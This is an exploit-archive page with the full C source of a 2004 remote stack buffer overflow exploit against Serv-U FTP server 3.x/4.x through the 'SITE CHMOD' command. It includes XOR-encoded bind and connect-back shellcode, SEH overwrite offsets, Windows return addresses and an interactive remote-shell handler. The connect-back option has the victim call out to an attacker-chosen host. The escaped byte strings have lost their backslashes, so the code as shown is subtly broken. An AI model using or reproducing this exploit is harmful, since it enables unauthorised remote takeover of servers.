[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Serv-U FTPD 3.x/4.x "SITE CHMOD" Command Remote Exploit
# Published : 2004-01-27
# Author : lion
# Previous Title : MS Internet Explorer URL Injection in History List (MS04-004)
# Next Title : lftp <= 2.6.9 Remote Stack based Overflow Exploit


/*
*-----------------------------------------------------------------------
* 
* Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-25
*          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
* Tested   : Windows 2000 Server EN/GB
*          :	 + Serv-U v3.0.0.20~v4.1.0.11
* Notice   : *** Bug find by kkqq kkqq@0x557.org ***
*          : *** You need a valid account and a writable directory. ***
* Complie  : cl Servu.c
* Usage	   : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
*------------------------------------------------------------------------
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")

// for bind shellcode
#define BIND_OFFSET		91

// for connectback shellcode
#define PORT_OFFSET		95
#define IP_OFFSET		88

#define SEH_OFFSET		0x193	//v3.0.0.20~v4.1.0.11
//#define	SEH_OFFSET		0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
#define MAX_LEN			2048
#define JMP_OVER		"xebx06xebx06"
#define	VERSION			"1.0"

struct
{
	DWORD	dwJMP;
	char	*szDescription;
}targets[] =
{
	{0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"},	//for all GB win2000 and winxp
// {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},	//wsock32.dll jmp ebx addr
// {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},	//wsock32.dll jmp ebx addr
// {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},	//user32.dll jmp ebx addr
// {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},	//for all BG win2000 and winxp	
// {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},	//setupapi.dll jmp ebx addr
// {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},	//setupapi.dll jmp ebx addr
// {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},	//setupapi.dll jmp ebx addr
// {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
// {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
},v;


unsigned char	*szSend[4];
unsigned char	szCommand[MAX_LEN];
char		szDirectory[0x100];

// 28 bytes decode by lion, don't change this.
unsigned char decode[]=
"xBEx6Dx69x6Fx6Ex4ExBFx6Dx69x30x6Ex4Fx43x39x3Bx75"
"xFBx4Bx80x33x93x39x73xFCx75xF7xFFxD3";

// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion"; 

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n"; 

// 311 bytes bind shellcode by lion (xor with 0x93)
unsigned char sc[]=
"x7Ax96x92x93x93xCCxF7x32xA3x93x93x93x18xD3x9Fx18"
"xE3x8Fx3Ex18xFBx9Bx18x64xF9x97xCAx7Bx36x93x93x93"
"x71x6AxFBxA0xA1x93x93xFBxE4xE0xA1xCCxC7x6Cx85x18"
"x7BxF9x95xCAx7Bx1Fx93x93x93x71x6Ax12x7Fx03x92x93"
"x93xC7xFBx92x92x93x93x6CxC5x83xC3xC3xC3xC3xF9x92"
"xF9x91x6CxC5x87x18x4Bx54x94x91x93x93xA6xA0x53x1A"
"xD4x97xF9x83xC4xC0x6CxC5x8BxF9x92xC0x6CxC5x8FxC3"
"xC3xC0x6CxC5xB3x18x4BxA0x53xFBxF0xFExF7x93x1AxF5"
"xA3x10x7FxC7x18x6FxF9x87xCAx1Ax97x1Cx71x68x55xD4"
"x83xD7x6DxD4xAFx6DxD4xAEx1AxCCxDBx1AxCCxDFx1AxCC"
"xC3x1ExD7xB7x83xC4xC3xC2xC2xC2xF9x92xC2xC2x6CxE5"
"xA3xC2x6CxC5x97x18x5FxF9x6Cx6CxA2x6CxC5x9BxC0x6C"
"xC5xB7x6CxC5x9FxC2xC5x18xE6xAFx18xE7xBDxEBx90x66"
"xC5x18xE5xB3x90x66xA0x5AxDAxD2x3Ex90x56xA0x48x9C"
"x2Dx83xA9x45xE7x9Bx52x58x9Ex90x49xD3x78x62xA8x8C"
"xE6x74xCDx18xCDxB7x90x4ExF5x18x9FxD8x18xCDx8Fx90"
"x4Ex18x97x18x90x56x38xCDxCAx50x7Bx65x6Dx6Cx6Cx1D"
"xDDx9Dx7FxE1x6Dx20x85x3Ex4Ax96x5DxEDx4Bx71xE0x58"
"x7Ex6FxA8x4Ax9Ax66x3Ex37x89xE3x54x37x3ExBDx7Ax76"
"xDAx15xDAx74xEAx55xEA";

// 294 bytes connectback shellcode by lion (xor with 0x93)
unsigned char cbsc[]=
"x7Ax6Fx93x93x93xCCxF7x32xA3x93x93x93x18xD3x9Fx18"
"xE3x8Fx3Ex18xFBx9Bx18x64xF9x97xCAx7Bx0Fx93x93x93"
"x71x6AxFBxA0xA1x93x93xFBxE4xE0xA1xCCxC7x6Cx85x18"
"x7BxF9x97xCAx7Bx10x93x93x93x71x6Ax12x7Fx03x92x93"
"x93xC7xFBx92x92x93x93x6CxC5x83xC3xC3xC3xC3xF9x92"
"xF9x91x6CxC5x87x18x4BxFBxECx93x93x92xFBx91x93x93"
"xA6x18x5FxF9x83xC2xC0x6CxC5x8Bx16x53xE6xD8xA0x53"
"xFBxF0xFExF7x93x1AxF5xA3x10x7FxC7x18x6FxF9x83xCA"
"x1Ax97x1Cx71x68x55xD4x83xD7x6DxD4xAFx6DxD4xAEx1A"
"xCCxDBx1AxCCxDFx1AxCCxC3x1ExD7xB7x83xC4xC3xC2xC2"
"xC2xF9x92xC2xC2x6CxE5xA3xC2x6CxC5x97x18x5FxF9x6C"
"x6CxA2x6CxC5x9BxC0x6CxC5x8Fx6CxC5x9FxC2xC5x18xE6"
"xAFx18xE7xBDxEBx90x66xC5x18xE5xB3x90x66xA0x5AxDA"
"xD2x3Ex90x56xA0x48x9Cx2Dx83xA9x45xE7x9Bx52x58x9E"
"x90x49xD3x78x62xA8x8CxE6x74xCDx18xCDxB7x90x4ExF5"
"x18x9FxD8x18xCDx8Fx90x4Ex18x97x18x90x56x38xCDxCA"
"x50x7Bx6Cx6Dx6Cx6Cx1DxDDx9Dx7FxE1x6Dx20x85x3Ex4A"
"x96x5DxEDx4Bx71xE0x58x7Ex6FxA8x4Ax9Ax66x3Ex7Fx6A"
"x39xF3x74xEAx55xEA";

void usage(char *p)
{
	int	i;
	printf( "Usage:t%st<-i ip> <-t type>n"
		"tt[-u user] [-p pass] [-d dir]n"
		"tt[-f ftpport] [-c cbhost] [-s shellport]nn"
		"[type]:n" , p);	
	for(i=0;i<sizeof(targets)/sizeof(v);i++)
	{
		printf("t%dt0x%xt%sn", i, targets[i].dwJMP, targets[i].szDescription);
	}
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
	int     l;
	char    buf[512];
	struct	timeval time;
	unsigned long	ul[2];

	time.tv_sec = 1;
	time.tv_usec = 0;

	while (1)
	{
		ul[0] = 1;
		ul[1] = sock;

		l = select (0, (fd_set *)&ul, NULL, NULL, &time);
		if(l == 1)
		{
			l = recv (sock, buf, sizeof (buf), 0);
			if (l <= 0)
			{
				printf ("[-] Connection closed.n");
				return;
			}
			l = write (1, buf, l);
			if (l <= 0)
			{
				printf ("[-] Connection closed.n");
				return;
			}
		}
		else
		{
			l = read (0, buf, sizeof (buf));
			if (l <= 0)
			{
				printf("[-] Connection closed.n");
				return;
			}
			l = send(sock, buf, l, 0);
			if (l <= 0)
			{
				printf("[-] Connection closed.n");
				return;
			}
		}
	}
}

void main(int argc, char **argv)
{
	struct	sockaddr_in sa, server, client;
	WSADATA	wsd;
	SOCKET	s, s2, s3;
	int	iErr, ret, len;
	char	szRecvBuff[MAX_LEN];
	int	i, j, iType;
	int	iPort=21;
	char	*ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
	char	user[128], pass[128];
	BOOL	bCb=FALSE, bLocal=TRUE;
	unsigned short	shport=53, shport2=0;
	unsigned long	cbip;
	unsigned int	timeout=5000, Reuse;
	char	penetrate[255],cbHost2[20];
	int seh_offset;
	
	printf( "Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V%srn"
		"Bug find by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)rn"
		"Welcome to HUC website http://www.cnhonker.comrnn"
		 	, VERSION);

	seh_offset = SEH_OFFSET;
	
	if(argc < 4)
	{
		usage(argv[0]);
		return;
	}

	for(i=1;i<argc;i+=2)
	{
		if(strlen(argv[i]) != 2)
		{
			usage(argv[0]);
			return;
		}
		// check parameter
		if(i == argc-1)
		{
			usage(argv[0]);
			return;
		}
		switch(argv[i][1])
		{
			case 'i':
				ip=argv[i+1];
				break;
			case 't':
				iType = atoi(argv[i+1]);
				break;
			case 'f':
				iPort=atoi(argv[i+1]);
				break;
			case 'p':
				pPass = argv[i+1];
				break;
			case 'u':
				pUser=argv[i+1];
				break;
			case 'c':
				cbHost=argv[i+1];
				bCb=TRUE;
				break;
			case 's':
				shport=atoi(argv[i+1]);
				break;
			case 'd':
				if(argv[i+1][0] != '/')
					strcpy(szDirectory, "/");
				strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
				
				if(szDirectory[strlen(szDirectory)-1] != '/')
					strcat(szDirectory, "/");
					
				// correct the directory len
				for(j=0;j<(strlen(szDirectory)-1)%8;j++)
					strcat(szDirectory, "x");
					
				//printf("%d:%srn", strlen(szDirectory), szDirectory);
				seh_offset = seh_offset - strlen(szDirectory)+1;
				break;
		}
	}

	if((!ip) || (!user) || (!pass))
	{
		usage(argv[0]);
		printf("[-] Invalid parameter.n");
		return;
	}

	if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
	{
		usage(argv[0]);
		printf("[-] Invalid type.n");
		return;
	}

	if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
	{
		usage(argv[0]);
		printf("[-] Invalid port.n");
		return;
	}
	
	_snprintf(user, sizeof(user)-1, "USER %srn", pUser);
	user[sizeof(user)-1]='';
	_snprintf(pass, sizeof(pass)-1, "PASS %srn", pPass);
	pass[sizeof(pass)-1]='';
	szSend[0] = user;	//user
	szSend[1] = pass;	//pass	
	szSend[2] = penetrate;	//pentrate
	szSend[3] = szCommand;	//shellcode
	
	// Penetrate through the firewall.
	if(bCb && shport > 1024)
	{
		strncpy(cbHost2, cbHost, 20);
		for(i=0;i<strlen(cbHost); i++)
		{
			if(cbHost[i] == '.')
				cbHost2[i] = ',';
		}
		
		sprintf(penetrate, "PORT %s,%d,%drn", cbHost2, shport/256, shport%256);

		//printf("%s", penetrate);
	}
	else
	{
		sprintf(penetrate,"TYPE Irn");		
	}

	// fill the "site chmod" command
	strcpy(szCommand, "site chmod 777 ");
	
	// fill the directory
	if(szDirectory[0])
		strcat(szCommand, szDirectory);

	// fill the egg
	for(i=0;i<seh_offset%8;i++)
		strcat(szCommand, "x90");
	//strcat(szCommand, "BBBB");
	
	// fill the seh
	for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
	{
		strcat(szCommand, JMP_OVER);
		memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
	}
		
	// fill the decode
	strcat(szCommand, decode);

	// fill the shellcode start	sign
	strcat(szCommand, sc_start);

	// fill the shellcode
	if(bCb)
	{
		// connectback shellcode
		shport2 = htons(shport)^(u_short)0x9393;
		cbip = inet_addr(cbHost)^0x93939393;
		memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
		memcpy(&cbsc[IP_OFFSET], &cbip, 4);
		strcat(szCommand, cbsc);		
	}
	else
	{
		// bind shellcode
		shport2 = htons(shport)^(u_short)0x9393;
		memcpy(&sc[BIND_OFFSET], &shport2, 2);
		strcat(szCommand, sc);
	}

	// fill the shellcode end sign
	strcat(szCommand, sc_end);

	// send end
	strcat(szCommand, "rn");

	if(strlen(szCommand) >= sizeof(szCommand))
	{
		printf("[-] stack buffer overflow.n");
		return;
	}
	
//	printf("send size %d:%s", strlen(szCommand), szCommand);
	
	__try
	{
		if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
		{
			printf("[-] WSAStartup error:%dn", WSAGetLastError());
			__leave;
		}

		s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if(s == INVALID_SOCKET)
		{
			printf("[-] Create socket failed:%d",GetLastError());
			__leave;
		}

		sa.sin_family=AF_INET;
		sa.sin_port=htons((USHORT)iPort);
		sa.sin_addr.S_un.S_addr=inet_addr(ip);

		setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
		iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
		if(iErr == SOCKET_ERROR)
		{
			printf("[-] Connect to %s:%d error:%dn", ip, iPort, GetLastError());
			__leave;
		}
		printf("[+] Connect to %s:%d success.n", ip, iPort);
		
		if(bCb)
		{
			Sleep(500);
			s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

			server.sin_family=AF_INET;
			server.sin_addr.S_un.S_addr=inet_addr(cbHost);
			//server.sin_addr.s_addr=INADDR_ANY; 
			server.sin_port=htons((unsigned short)shport);

			setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

			Reuse = 1; 
			setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

			if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
			{
				printf("[-] Bind port on %s:%d error.n", cbHost, shport);
				printf("[-] You must run nc get the shell.n");
				bLocal = FALSE;
				//closesocket(s2);
				//__leave;
			}
			else
			{	
				printf("[+] Bind port on %s:%d success.n", cbHost, shport);
				listen(s2, 1); 
			}
		}
		
		for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
		{
			memset(szRecvBuff, 0, sizeof(szRecvBuff));
			iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
			if(iErr == SOCKET_ERROR)
			{
				printf("[-] Recv buffer error:%d.n", WSAGetLastError());
				__leave;
			}
			printf("[+] Recv: %s", szRecvBuff);
			
			if(szRecvBuff[0] == '5')
			{
				printf("[-] Server return a error Message.rn");
				__leave;
			}

			iErr = send(s, szSend[i], strlen(szSend[i]),0);
			if(iErr == SOCKET_ERROR)
			{
				printf("[-] Send buffer error:%d.n", WSAGetLastError());
				__leave;
			}

			if(i==sizeof(szSend)/sizeof(szSend[0])-1)
				printf("[+] Send shellcode %d bytes.n", iErr);
			else
				printf("[+] Send: %s", szSend[i]);
		}

		printf("[+] If you don't have a shell it didn't work.n");

		if(bCb)
		{
			if(bLocal)
			{
				printf("[+] Wait for shell...n");
			
				len = sizeof(client);
				s3 = accept(s2, (struct sockaddr*)&client, &len); 
				if(s3 != INVALID_SOCKET) 
				{ 
	printf("[+] Exploit success! Good luck! :)n");
	printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===n");
					shell(s3);
				}
			}	
		}
		else
		{
			printf("[+] Connect to shell...n");
			
			Sleep(1000);
			s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
			server.sin_family = AF_INET;
			server.sin_port = htons(shport);
			server.sin_addr.s_addr=inet_addr(ip);

			ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
			if(ret!=0)
			{
				printf("[-] Exploit seem failed.n");
				__leave;
			}
			
	printf("[+] Exploit success! Good luck! :)n");
	printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===n");
			shell(s2);
		}
		
		
	}

 	__finally
	{
		if(s != INVALID_SOCKET) closesocket(s);
		if(s2 != INVALID_SOCKET) closesocket(s2);
		if(s3 != INVALID_SOCKET) closesocket(s3);
		WSACleanup();
	}

	return;
}

// www.Syue.com [2004-01-27]